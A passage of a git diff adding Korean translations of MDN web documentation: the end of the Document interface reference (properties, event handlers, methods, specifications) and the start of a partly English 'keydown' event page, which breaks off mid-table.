+ <dd>문서 전체의 수정 가능 여부를 설정/반환합니다.</dd>
+ <dt>{{domxref("Document.dir")}}</dt>
+ <dd>문서의 쓰기 방향(rtl/ltr)을 설정/반환합니다.</dd>
+ <dt>{{domxref("Document.domain")}}</dt>
+ <dd>현재 문서의 도메인을 설정/반환합니다.</dd>
+ <dt>{{domxref("Document.lastModified")}} {{readonlyinline}}</dt>
+ <dd>문서가 마지막으로 수정된 날짜를 반환합니다.</dd>
+ <dt>{{domxref("Document.location")}} {{readonlyinline}}</dt>
+ <dd>현재 문서의 URI를 반환합니다.</dd>
+ <dt>{{domxref("Document.readyState")}} {{readonlyinline}}</dt>
+ <dd>문서의 불러오기 상태를 반환합니다.</dd>
+ <dt>{{domxref("Document.referrer")}} {{readonlyinline}}</dt>
+ <dd>현재 페이지로 연결한 페이지의 URI를 반환합니다.</dd>
+ <dt>{{domxref("Document.title")}}</dt>
+ <dd>문서의 제목을 설정하거나 반환합니다.</dd>
+ <dt>{{domxref("Document.URL")}} {{readonlyInline}}</dt>
+ <dd>문서의 위치를 문자열로 반환합니다.</dd>
+</dl>
+
+<h3 id="DocumentOrShadowRoot에서_포함한_속성">DocumentOrShadowRoot에서 포함한 속성</h3>
+
+<p><code>Document</code> 인터페이스는 {{domxref("DocumentOrShadowRoot")}} 믹스인이 정의하는 다음의 속성을 포함합니다. 지금은 Chrome만 <code>DocumentOrShadowRoot</code> 믹스인으로 구현한 상태라는 점에 유의하세요. 다른 브라우저는 <code>Document</code> 인터페이스에 직접 구현합니다.</p>
+
+<dl>
+ <dt>{{domxref("DocumentOrShadowRoot.activeElement")}} {{readonlyInline}}</dt>
+ <dd>섀도 트리 내에서 포커스를 가진 {{domxref('Element')}} 를 반환합니다.</dd>
+ <dt>{{domxref("Document.fullscreenElement")}} {{readonlyinline}}</dt>
+ <dd>현재 문서에서 전체 화면 모드 중인 요소를 반환합니다.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot.pointerLockElement")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>포인터가 잠긴 동안 마우스 이벤트의 대상으로 설정한 요소를 반환합니다. 잠금 대기 중이거나, 포인터의 잠금이 해제됐거나, 대상이 다른 문서에 존재하는 경우 <code>null</code>입니다.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot.styleSheets")}} {{readonlyInline}}</dt>
+ <dd>문서가 포함하거나 명시적으로 연결한 스타일 시트를 나타내는, {{domxref("CSSStyleSheet")}}의 {{domxref("StyleSheetList")}} 객체를 반환합니다.</dd>
+</dl>
+
+<h3 id="Event_handlers" name="Event_handlers">이벤트 처리기</h3>
+
+<dl>
+ <dt>{{domxref("Document.onafterscriptexecute")}} {{non-standard_inline}}</dt>
+ <dd>{{event("afterscriptexecute")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd>
+ <dt>{{domxref("Document.onbeforescriptexecute")}} {{non-standard_inline}}</dt>
+ <dd>{{event("beforescriptexecute")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd>
+ <dt>{{domxref("Document.oncopy")}} {{non-standard_inline}}</dt>
+ <dd>{{event("copy")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd>
+ <dt>{{domxref("Document.oncut")}} {{non-standard_inline}}</dt>
+ <dd>{{event("cut")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd>
+ <dt>{{domxref("Document.onfullscreenchange")}}</dt>
+ <dd>{{event("fullscreenchange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.</dd>
+ <dt>{{domxref("Document.onfullscreenerror")}}</dt>
+ <dd>{{event("fullscreenerror")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.</dd>
+ <dt>{{domxref("Document.onpaste")}} {{non-standard_inline}}</dt>
+ <dd>{{event("paste")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd>
+ <dt>{{domxref("Document.onreadystatechange")}}</dt>
+ <dd>{{event("readystatechange")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd>
+ <dt>{{domxref("Document.onselectionchange")}} {{experimental_inline}}</dt>
+ <dd>{{event("selectionchange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.</dd>
+ <dt>{{domxref("Document.onvisibilitychange")}}</dt>
+ <dd>{{event("visibilitychange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.</dd>
+</dl>
+
+<p><code>Document</code> 인터페이스는 {{domxref("GlobalEventHandlers")}} 인터페이스를 확장합니다.</p>
+
+<p>{{Page("/ko/docs/Web/API/GlobalEventHandlers", "속성")}}</p>
+
+<h3 id="사용하지_않는_속성">사용하지 않는 속성</h3>
+
+<dl>
+ <dt>{{domxref("Document.alinkColor")}} {{Deprecated_inline}}</dt>
+ <dd>다큐먼트 바디에 있는 활성 링크의 색상을 설정하거나 반환합니다.</dd>
+ <dt>{{domxref("Document.all")}} {{Deprecated_inline}} {{non-standard_inline}}</dt>
+ <dd>다큐먼트의 모든 엘리먼트로의 접근을 제공합니다. 레거시이며 비표준 속성이므로 사용되면 안됩니다.</dd>
+ <dt>{{domxref("Document.applets")}} {{Deprecated_inline}} {{readonlyinline}}</dt>
+ <dd>다큐먼트에 있는 애플릿의 정렬된 리스트를 반환합니다.</dd>
+ <dt>{{domxref("Document.async")}} {{Deprecated_inline}}</dt>
+ <dd>{{domxref("Document.load")}} 와 사용되어 비동기 요청을 나타냅니다.</dd>
+ <dt>{{domxref("Document.bgColor")}} {{Deprecated_inline}}</dt>
+ <dd>현재 다큐먼트의 배경 색상을 설정하거나 반환합니다.</dd>
+ <dt>{{domxref("Document.charset")}} {{readonlyinline}} {{Deprecated_inline}}</dt>
+ <dd>{{domxref("Document.characterSet")}} 과 동일합니다. {{domxref("Document.characterSet")}} 속성을 사용하시기 바랍니다.</dd>
+ <dt>{{domxref("Document.domConfig")}} {{Deprecated_inline}}</dt>
+ <dd>{{domxref("DOMConfiguration")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("document.fgColor")}} {{Deprecated_inline}}</dt>
+ <dd>현재 다큐먼트의 foreground 색상이나 텍스트 색상을 설정하거나 반환합니다.</dd>
+ <dt>{{domxref("Document.fullscreen")}} {{obsolete_inline}}</dt>
+ <dd>다큐먼트가 {{domxref("Using_full-screen_mode","full-screen mode")}}에 있을 때 <code>true</code> 를 반환합니다.</dd>
+ <dt>{{domxref("Document.height")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>현재 다큐먼트의 높이를 설정하거나 반환합니다.</dd>
+ <dt>{{domxref("Document.inputEncoding")}} {{readonlyinline}} {{Deprecated_inline}}</dt>
+ <dd>{{domxref("Document.characterSet")}} 과 동일합니다. {{domxref("Document.characterSet")}} 속성을 사용하시기 바랍니다.</dd>
+ <dt>{{domxref("Document.linkColor")}} {{Deprecated_inline}}</dt>
+ <dd>다큐먼트내 하이퍼링크의 색상을 설정하거나 반환합니다.</dd>
+ <dt>{{domxref("Document.vlinkColor")}} {{Deprecated_inline}}</dt>
+ <dd>방문한 하이퍼링크의 색상을 설정하거나 반환합니다.</dd>
+ <dt>{{domxref("Document.width")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>현재 다큐먼트의 너비를 반환합니다.</dd>
+ <dt>{{domxref("Document.xmlEncoding")}} {{Deprecated_inline}}</dt>
+ <dd>XML 선언으로 결정된 인코딩을 반환합니다.</dd>
+ <dt>{{domxref("Document.xmlStandalone")}} {{obsolete_inline("10.0")}}</dt>
+ <dd>XML 선언이 다큐먼트를 독립되도록 지정하면 <code>true</code> 를(<em>예,</em> DTD 의 외부가 다큐먼트의 컨텐츠에 영향을 줌), 그렇지 않은 경우 <code>false</code> 를 반환합니다.</dd>
+ <dt>{{domxref("Document.xmlVersion")}} {{obsolete_inline("10.0")}}</dt>
+ <dd>XML 선언에 명시된 버전 넘버를 반환합니다. 선언에 명시되어 있지 않은 경우, <code>"1.0"</code> 을 반환합니다.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">메서드</h2>
+
+<p><em><code>Documet</code>는 {{domxref("Node")}}와 {{domxref("EventTarget")}} 인터페이스도 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("Document.adoptNode()")}}</dt>
+ <dd>외부 문서로부터 노드를 가져옵니다.</dd>
+ <dt>{{domxref("Document.captureEvents()")}} {{Deprecated_inline}}</dt>
+ <dd>{{domxref("Window.captureEvents")}}를 확인하세요.</dd>
+ <dt>{{domxref("Document.caretRangeFromPoint()")}}{{non-standard_inline}}</dt>
+ <dd>지정한 좌표에 위치한 문서 프래그먼트에 대한 {{domxref("Range")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("Document.createAttribute()")}}</dt>
+ <dd>새로운 {{domxref("Attr")}} 객체를 생성하고 반환합니다.</dd>
+ <dt>{{domxref("Document.createAttributeNS()")}}</dt>
+ <dd>주어진 네임스페이스에 새로운 속성 노드를 생성하고 반환합니다.</dd>
+ <dt>{{domxref("Document.createCDATASection()")}}</dt>
+ <dd>새로운 CDATA 노드를 생성하고 반환합니다.</dd>
+ <dt>{{domxref("Document.createComment()")}}</dt>
+ <dd>새로운 주석 노드를 생성하고 반환합니다.</dd>
+ <dt>{{domxref("Document.createDocumentFragment()")}}</dt>
+ <dd>새로운 문서 조각을 생성합니다.</dd>
+ <dt>{{domxref("Document.createElement()")}}</dt>
+ <dd>주어진 태그명을 사용해 새로운 요소를 생성합니다.</dd>
+ <dt>{{domxref("Document.createElementNS()")}}</dt>
+ <dd>주어진 태그명과 네임스페이스 URI를 갖는 새로운 요소를 생성합니다.</dd>
+ <dt>{{domxref("Document.createEntityReference()")}} {{obsolete_inline}}</dt>
+ <dd>새로운 개체 참조를 생성하고 반환합니다.</dd>
+ <dt>{{domxref("Document.createEvent()")}}</dt>
+ <dd>이벤트 객체를 생성합니다.</dd>
+ <dt>{{domxref("Document.createNodeIterator()")}}</dt>
+ <dd>{{domxref("NodeIterator")}} 객체를 생성합니다.</dd>
+ <dt>{{domxref("Document.createProcessingInstruction()")}}</dt>
+ <dd>새로운 {{domxref("ProcessingInstruction")}} 객체를 생성합니다.</dd>
+ <dt>{{domxref("Document.createRange()")}}</dt>
+ <dd>{{domxref("Range")}} 객체를 생성합니다.</dd>
+ <dt>{{domxref("Document.createTextNode()")}}</dt>
+ <dd>텍스트 노드를 생성합니다.</dd>
+ <dt>{{domxref("Document.createTouch()")}} {{Deprecated_inline}}</dt>
+ <dd>{{domxref("Touch")}} 객체를 생성합니다.</dd>
+ <dt>{{domxref("Document.createTouchList()")}}</dt>
+ <dd>{{domxref("TouchList")}} 객체를 생성합니다.</dd>
+ <dt>{{domxref("Document.createTreeWalker()")}}</dt>
+ <dd>{{domxref("TreeWalker")}} 객체를 생성합니다.</dd>
+ <dt>{{domxref("Document.enableStyleSheetsForSet()")}}</dt>
+ <dd>지정한 스타일 시트 세트의 스타일 시트를 활성화합니다.</dd>
+ <dt>{{domxref("Document.exitPointerLock()")}} {{experimental_inline}}</dt>
+ <dd>포인터 잠금을 해제합니다.</dd>
+ <dt>{{domxref("Document.getAnimations()")}} {{experimental_inline}}</dt>
+ <dd>문서의 자손 요소를 대상으로 하고, 현재 실행 중인 모든 {{domxref("Animation")}} 객체를 배열로 반환합니다.</dd>
+ <dt>{{domxref("Document.getElementsByClassName()")}}</dt>
+ <dd>주어진 클래스 이름을 갖는 요소의 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.getElementsByTagName()")}}</dt>
+ <dd>주어진 태그명을 갖는 요소의 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.getElementsByTagNameNS()")}}</dt>
+ <dd>주어진 태그명과 네임스페이스를 갖는 요소의 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.hasStorageAccess()")}}</dt>
+ <dd>문서가 퍼스트파티<sup>first-party</sup> 저장소에 접근할 수 있는지 나타내는 {{jsxref("Boolean")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{domxref("Document.importNode()")}}</dt>
+ <dd>외부 문서의 노드 복제본을 반환합니다.</dd>
+ <dt>{{domxref("Document.normalizeDocument()")}} {{obsolete_inline}}</dt>
+ <dd>개체 대체, 텍스트 노드 정규화 등의 작업을 실행합니다.</dd>
+ <dt>{{domxref("Document.releaseCapture()")}} {{non-standard_inline}}</dt>
+ <dd>문서의 요소에 현재 마우스 캡쳐가 있다면 이를 해제합니다.</dd>
+ <dt>{{domxref("Document.releaseEvents()")}} {{non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>{{domxref("Window.releaseEvents()")}}를 확인하세요.</dd>
+ <dt>{{domxref("Document.requestStorageAccess()")}}</dt>
+ <dd>퍼스트파티<sup>first-party</sup> 저장소로의 접근이 가능한 경우 이행하고 불가능한 경우 거부하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{domxref("Document.routeEvent()")}} {{non-standard_inline}} {{obsolete_inline(24)}}</dt>
+ <dd>{{domxref("Window.routeEvent()")}}를 확인하세요.</dd>
+ <dt>{{domxref("Document.mozSetImageElement()")}} {{non-standard_inline}}</dt>
+ <dd>지정한 요소 ID를 위한 배경 이미지로 사용되도록 요소 변경을 허용합니다.</dd>
+</dl>
+
+<p><code>Document</code> 인터페이스는 {{domxref("ParentNode")}} 인터페이스를 확장합니다.</p>
+
+<dl>
+ <dt>{{domxref("document.getElementById()")}}</dt>
+ <dd>주어진 ID를 가진 요소의 참조를 반환합니다.</dd>
+ <dt>{{domxref("document.querySelector()")}}</dt>
+ <dd>문서 내에서 주어진 선택자를 만족하는 첫 번째 {{jsxref("Element")}}를 반환합니다.</dd>
+ <dt>{{domxref("document.querySelectorAll()")}}</dt>
+ <dd>주어진 선택자를 만족하는 모든 요소의 {{jsxref("NodeList")}}를 반환합니다.</dd>
+</dl>
+
+<p><code>Document</code> 인터페이스는 {{domxref("XPathEvaluator")}} 인터페이스를 확장합니다.</p>
+
+<dl>
+ <dt>{{domxref("document.createExpression()")}}</dt>
+ <dd>나중에 (여러 번) 평가할 수 있도록 <code><a href="https://developer.mozilla.org/en-US/docs/XPathExpression" title="XPathExpression">XPathExpression</a></code>을 컴파일합니다.</dd>
+ <dt>{{domxref("document.createNSResolver()")}}</dt>
+ <dd>{{domxref("XPathNSResolver")}} 객체를 생성합니다.</dd>
+ <dt>{{domxref("document.evaluate()")}}</dt>
+ <dd>XPath 표현을 평가합니다.</dd>
+</dl>
+
+<h3 id="HTML_문서의_확장">HTML 문서의 확장</h3>
+
+<p>HTML 문서를 위한 <code>Document</code> 인터페이스는 HTML5 이전엔 {{domxref("HTMLDocument")}} 인터페이스를 상속하고, 이후로는 확장합니다.</p>
+
+<dl>
+ <dt>{{domxref("document.clear()")}} {{non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>최근의 Firefox와 Internet Explorer를 포함하는 주요 최신 브라우저에서, 이 메소드는 아무것도 하지 않습니다.</dd>
+ <dt>{{domxref("document.close()")}}</dt>
+ <dd>작성을 위한 문서 스트림을 닫습니다.</dd>
+ <dt>{{domxref("document.execCommand()")}}</dt>
+ <dd>수정 가능한 문서에서 서식 명령을 실행합니다.</dd>
+ <dt>{{domxref("document.getElementsByName()")}}</dt>
+ <dd>주어진 이름을 갖는 요소의 목록을 반환합니다.</dd>
+ <dt>{{domxref("document.hasFocus()")}}</dt>
+ <dd>포커스가 지정한 문서 내 어느 곳이든 위치한 경우 <code>true</code>를 반환합니다.</dd>
+ <dt>{{domxref("document.open()")}}</dt>
+ <dd>작성을 위한 문서 스트림을 엽니다.</dd>
+ <dt>{{domxref("document.queryCommandEnabled()")}}</dt>
+ <dd>현재 범위에서 서식 명령을 실행할 수 있다면 <code>true</code>를 반환합니다.</dd>
+ <dt>{{domxref("document.queryCommandIndeterm()")}}</dt>
+ <dd>현재 범위에서 서식 명령의 상태를 알 수 없으면 <code>true</code>를 반환합니다.</dd>
+ <dt>{{domxref("document.queryCommandState()")}}</dt>
+ <dd>현재 범위에서 서식 명령을 실행했다면 <code>true</code>를 반환합니다.</dd>
+ <dt>{{domxref("document.queryCommandSupported()")}}</dt>
+ <dd>현재 범위에서 서식 명령이 지원된다면 <code>true</code>를 반환합니다.</dd>
+ <dt>{{domxref("document.queryCommandValue()")}}</dt>
+ <dd>현재 범위에서 서식 명령을 위한 현재 값을 반환합니다.</dd>
+ <dt>{{domxref("document.write()")}}</dt>
+ <dd>문서에 텍스트를 작성합니다.</dd>
+ <dt>{{domxref("document.writeln()")}}</dt>
+ <dd>문서에 텍스트 한 줄을 작성합니다.</dd>
+</dl>
+
+<h3 id="DocumentOrShadowRoot로부터_포함된_메소드">DocumentOrShadowRoot로부터 포함된 메소드</h3>
+
+<p><code>Document</code> 인터페이스는 {{domxref("DocumentOrShadowRoot")}} 믹스인<sup>mixin</sup>이 정의하는 다음의 메서드를 포함합니다. 지금은 Chrome만 구현한 상태라는 점에 유의하세요. 다른 브라우저는 <code>Document</code> 인터페이스에 구현 중입니다.</p>
+
+<dl>
+ <dt>{{domxref("DocumentOrShadowRoot.getSelection()")}}</dt>
+ <dd>사용자에의해 선택된 텍스트의 범위 또는 캐럿의 현재 위치를 나타내는 {{domxref('Selection')}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot.elementFromPoint()")}}</dt>
+ <dd>지정한 위치에 있는 최상단 엘리먼트를 반환합니다.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot.elementsFromPoint()")}}</dt>
+ <dd>지정한 위치에 있는 모든 엘리먼트의 배열을 반환합니다.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot.caretPositionFromPoint()")}}</dt>
+ <dd>캐럿을 포함하는 DOM 노드와 그 노드내 캐첫의 문자 오프셋을 포함하는 {{domxref('CaretPosition')}} 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="비표준_확장_non-standard_inline">비표준 확장 {{non-standard_inline}}</h2>
+
+<p>{{non-standard_header}}</p>
+
+<h3 id="Firefox_노트">Firefox 노트</h3>
+
+<p>Mozilla는 XUL 컨텐츠만을 위해 만들어진 비표준 속성의 집합을 정의합니다.</p>
+
+<dl>
+ <dt>{{domxref("document.currentScript")}} {{non-standard_inline}}</dt>
+ <dd>현재 실행중인 {{HTMLElement("script")}} 엘리먼트를 반환합니다.</dd>
+ <dt>{{domxref("document.documentURIObject")}}</dt>
+ <dd>(<strong>Mozilla 부가 기능 전용!</strong>) 다큐먼트의 URI 를 나타내는 {{Interface("nsIURI")}} 객체를 반환합니다. 이 속성은 권한을 가진 자바스크립트 코드(UniversalXPConnect 권한을 갖는)에서만 특별한 의미를 갖습니다.</dd>
+ <dt>{{domxref("document.popupNode")}}</dt>
+ <dd>팝업이 불려진 노드를 반환합니다.</dd>
+ <dt>{{domxref("document.tooltipNode")}}</dt>
+ <dd>현재 툴팁의 대상이되는 노드를 반환합니다.</dd>
+</dl>
+
+<p>Mozilla 는 또한 일부 비표준 메소드를 정의합니다.</p>
+
+<dl>
+ <dt>{{domxref("document.execCommandShowHelp")}} {{obsolete_inline("14.0")}}</dt>
+ <dd>이 메소드는 아무것도 하지 않았지만 항상 예외를 발생시켰으므로 Gecko 14.0 {{geckoRelease("14.0")}} 에서 제거되었습니다.</dd>
+ <dt>{{domxref("document.getBoxObjectFor")}} {{obsolete_inline}}</dt>
+ <dd>{{domxref("Element.getBoundingClientRect()")}} 메소드를 대신 사용하세요.</dd>
+ <dt>{{domxref("document.loadOverlay")}}</dt>
+ <dd><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL" title="XUL_Overlays">XUL 오버레이</a>를 동적으로 로드합니다. XUL 다큐먼트에서만 동작합니다.</dd>
+ <dt>{{domxref("document.queryCommandText")}} {{obsolete_inline("14.0")}}</dt>
+ <dd>이 메소드는 아무것도 하지 않았지만 예외를 발생시켰으므로 Gecko 14.0 {{geckoRelease("14.0")}} 에서 제거되었습니다.</dd>
+</dl>
+
+<h3 id="Internet_Explorer_노트">Internet Explorer 노트</h3>
+
+<p>Microsoft는 일부 비표준 속성을 정의합니다.</p>
+
+<dl>
+ <dt>{{domxref("document.fileSize")}}* {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Returns size in bytes of the document. Starting with Internet Explorer 11, that property is no longer supported. See <a href="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx">MSDN</a>.</dd>
+</dl>
+
+<p>Internet Explorer는 <code>Document</code> 인터페이스내 <code>Node</code> 인터페이스의 모든 메소드를 지원하지 않습니다:</p>
+
+<dl>
+ <dt>{{domxref("document.contains")}}</dt>
+ <dd>대안으로 <code>document.body.contains()</code> 를 사용할 수 있습니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("DOM WHATWG", "#interface-document", "Document")}}</td>
+ <td>{{Spec2("DOM WHATWG")}}</td>
+ <td>DOM 3 대체 의도</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "dom.html#the-document-object", "Document")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>{{domxref("HTMLDocument")}} 인터페이스를 <code>Document</code> 확장으로 전환.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML Editing", "#dom-document-getselection", "Document")}}</td>
+ <td>{{Spec2("HTML Editing")}}</td>
+ <td><code>Document</code> 인터페이스 확장</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSSOM View", "#extensions-to-the-document-interface", "Document")}}</td>
+ <td>{{Spec2("CSSOM View")}}</td>
+ <td><code>Document</code> 인터페이스 확장</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSSOM", "#extensions-to-the-document-interface", "Document")}}</td>
+ <td>{{Spec2("CSSOM")}}</td>
+ <td><code>Document</code> 인터페이스 확장</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("Pointer Lock", "#extensions-to-the-document-interface", "Document")}}</td>
+ <td>{{Spec2("Pointer Lock")}}</td>
+ <td><code>Document</code> 인터페이스 확장</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("Page Visibility API", "#extensions-to-the-document-interface", "Document")}}</td>
+ <td>{{Spec2("Page Visibility API")}}</td>
+ <td><code>visibilityState</code> 와 <code>hidden</code> 속성과 <code>onvisibilitychange</code> 이벤트 리스너를 갖도록 <code>Document</code> 인터페이스 확장.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("Selection API", "#extensions-to-document-interface", "Document")}}</td>
+ <td>{{Spec2("Selection API")}}</td>
+ <td><code>getSelection()</code>, <code>onselectstart</code> 와 <code>onselectionchange</code> 추가.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM4", "#interface-document", "Document")}}</td>
+ <td>{{Spec2("DOM4")}}</td>
+ <td>DOM 3 대체</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM3 Core", "#i-Document", "Document")}}</td>
+ <td>{{Spec2("DOM3 Core")}}</td>
+ <td>DOM 2 대체</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator", "XPathEvaluator")}}</td>
+ <td>{{Spec2("DOM3 XPath")}}</td>
+ <td>다큐먼트를 확장하는 {{domxref("XPathEvaluator")}} 인터페이스 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM2 Core", "#i-Document", "Document")}}</td>
+ <td>{{Spec2("DOM2 Core")}}</td>
+ <td>DOM 1 대체</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM1", "#i-Document", "Document")}}</td>
+ <td>{{Spec2("DOM1")}}</td>
+ <td>인터페이스 초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document")}}</p>
diff --git a/files/ko/web/api/document/keydown_event/index.html b/files/ko/web/api/document/keydown_event/index.html
new file mode 100644
index 0000000000..4d841c084b
--- /dev/null
+++ b/files/ko/web/api/document/keydown_event/index.html
@@ -0,0 +1,153 @@
+---
+title: keydown
+slug: Web/API/Document/keydown_event
+translation_of: Web/API/Document/keydown_event
+---
+<p><code>keydown</code> 이벤트늘 키가 눌렸을 때 발생합니다.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keydown">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;"><a href="/en-US/docs/DOM/KeyboardEvent" title="/en-US/docs/DOM/KeyboardEvent">KeyboardEvent</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Document, Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">Varies: <code>keypress</code> event; launch text composition system; <code>blur</code> and <code>focus</code> events; <code>DOMActivate</code> event; other event</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Property</th>
+ <th scope="col">Type</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>target</code> {{readonlyInline}}</td>
+ <td>EventTarget</td>
+ <td>The event target (the topmost target in the DOM tree).</td>
+ </tr>
+ <tr>
+ <td><code>type</code> {{readonlyInline}}</td>
+ <td>DOMString</td>
+ <td>The type of event.</td>
+ </tr>
+ <tr>
+ <td><code>bubbles</code> {{readonlyInline}}</td>
+ <td>Boolean</td>
+ <td>Whether the event normally bubbles or not</td>
+ </tr>
+ <tr>
+ <td><code>cancelable</code> {{readonlyInline}}</td>
+ <td>Boolean</td>
+ <td>Whether the event is cancellable or not?</td>
+ </tr>
+ <tr>
+ <td><code>view</code> {{readonlyInline}}</td>
+ <td>WindowProxy</td>
+ <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+ </tr>
+ <tr>
+ <td><code>detail</code> {{readonlyInline}}</td>
+ <td><code>long</code> (<code>float</code>)</td>
+ <td>0.</td>
+ </tr>
+ <tr>
+ <td><code>target</code> {{readonlyInline}}</td>
+ <td>EventTarget (DOM element)</td>
+ <td>Focused element processing the key event, root element if no suitable input element focused.</td>
+ </tr>
+ <tr>
+ <td><code>char</code> {{readonlyInline}}</td>
+ <td>DOMString (string)</td>
+ <td>The character value of the key. If the key corresponds to a printable character, this value is a non-empty Unicode string containing that character. If the key doesn't have a printable representation, this is an empty string. See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for the detail.
+ <div class="note"><strong>Note:</strong> If the key is used as a macro that inserts multiple characters, this attribute's value is the entire string, not just the first character.</div>
+ </td>
+ </tr>
+ <tr>
+ <td><code>key</code> {{readonlyInline}}</td>
+ <td>DOMString (string)</td>
+ <td>The key value of the key represented by the event. If the value has a printed representation, this attribute's value is the same as the <code>char</code> attribute. Otherwise, it's one of the key value strings specified in {{ anch("Key values") }}. If the key can't be identified, this is the string "Unidentified". See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for the detail. Read Only.</td>
+ </tr>
+ <tr>
+ <td><code>charCode</code> {{readonlyInline}}</td>
+ <td>Unsigned long (int)</td>
+ <td>The Unicode reference number of the key; this attribute is used only by the <a href="/en-US/docs/Mozilla_event_reference/keypress"><code>keypress</code></a> event. For keys whose <code>char</code> attribute contains multiple characters, this is the Unicode value of the first character in that attribute.
+ <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>char</code> instead, if available.</div>
+ </td>
+ </tr>
+ <tr>
+ <td><code>keyCode</code> {{readonlyInline}}</td>
+ <td>Unsigned long (int)</td>
+ <td>A system and implementation dependent numerical code identifying the unmodified value of the pressed key. This is usually the decimal ASCII ({{ RFC(20) }}) or Windows 1252 code corresponding to the key; see {{ anch("Virtual key codes") }} for a list of common values. If the key can't be identified, this value is 0.
+ <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div>
+ </td>
+ </tr>
+ <tr>
+ <td><code>which</code> {{readonlyInline}}</td>
+ <td>Unsigned long (int)</td>
+ <td>A system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as <code>keyCode</code>.
+ <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div>
+ </td>
+ </tr>
+ <tr>
+ <td><code>location</code> {{readonlyInline}}</td>
+ <td>long (float)</td>
+ <td>The location of the key on the device.</td>
+ </tr>
+ <tr>
+ <td><code>repeat</code> {{readonlyInline}}</td>
+ <td>boolean</td>
+ <td><code>true</code> if a key has been depressed long enough to trigger key repetition, otherwise <code>false</code>.</td>
+ </tr>
+ <tr>
+ <td><code>locale</code> {{readonlyInline}}</td>
+ <td>string</td>
